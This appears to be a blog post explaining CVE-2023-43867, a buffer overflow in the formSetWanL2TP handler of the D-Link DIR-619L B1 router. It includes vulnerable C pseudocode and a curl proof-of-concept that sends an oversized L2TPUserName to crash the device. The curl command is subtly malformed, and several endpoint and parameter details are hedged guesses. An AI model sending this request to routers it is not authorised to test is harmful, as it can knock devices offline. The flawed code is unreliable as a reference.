CVE-2023-43867 is a security vulnerability found in the D-Link DIR-619L B1 router, running firmware version 2.02. This flaw lets attackers run malicious code or crash the device by sending specially crafted requests to the *formSetWanL2TP* function. In this post, we’ll break down what this means, how it works, and provide a basic proof-of-concept for educational purposes.

The DIR-619L B1 is a popular wireless N300 router produced by D-Link. These routers are commonly used in homes and small offices. Many users don’t update their firmware, which can leave these vulnerabilities unpatched for years.

Where’s the Problem?

The flaw exists in the router’s web interface. The function formSetWanL2TP handles user input for setting WAN L2TP (Layer 2 Tunneling Protocol) settings. Unfortunately, this function does not properly check the length of incoming input. If you send too much data, it "overflows" the buffer—a classic mistake leading to potential remote code execution.

Technical Details

The web server is often /cgi-bin/webproc. Attackers send a POST request to this endpoint, targeting the action parameter set as formSetWanL2TP. One of the parameters, typically something like wanIf, L2TPUserName, or L2TPPassword, may be vulnerable.

Example vulnerable code (simplified, C-style pseudocode)

void formSetWanL2TP(session) {
    char username[64];
    // ...
    strcpy(username, session->L2TPUserName);  // Dangerous: No length check!
    // ...
}

If you send a username longer than 64 bytes, it overwrites memory it should not touch. This could lead the web server to crash or, if skillfully done, run new commands supplied by the attacker.

How an Exploit Works

Attackers craft a POST request with a payload that’s much longer than the expected size, overflowing the buffer.

Here’s a basic example using curl and a placeholder payload

curl -X POST "http://<ROUTER_IP>/cgi-bin/webproc"; \
  -d "getpage=html/index.html" \
  -d "errorpage=html/main.html" \
  -d "var:menu=setup" \
  -d "var:page=wan" \
  -d "var:subpage=l2tp" \
  -d "wanIf=any" \
  -d "L2TPUserName=$(python -c 'print \"A\"*200')" \
  -d "L2TPPassword=password" \
  -d "ipv6_enable=" \
  -d "action=formSetWanL2TP"

Replace <ROUTER_IP> with your device’s address.

What happens?

- If the device is vulnerable, the web server may crash (DoS), restart, or even allow code execution if you structure the payload right.

If successful, the router may be controlled remotely or brought offline.

> Disclaimer: Never test vulnerabilities on hardware you do not own or have explicit permission to test!

References

- Exploit Database: CVE-2023-43867 Advisory
- NVD – CVE-2023-43867 Detail
- Official D-Link Security Advisory *(Often updated as issues are fixed)*

Conclusion

CVE-2023-43867 is a dangerous but classic example of why firmware security matters. A buffer overflow like this can let attackers crash or hijack a widely-used home router. Keep yourself safe by updating firmware, limiting network exposure, and considering newer hardware as support ends for older models.

Share this post to help others stay protected—and remember, even “small” vulnerabilities can have a big impact!

Timeline

Published on: 09/28/2023 14:15:22 UTC
Last modified on: 09/29/2023 04:32:42 UTC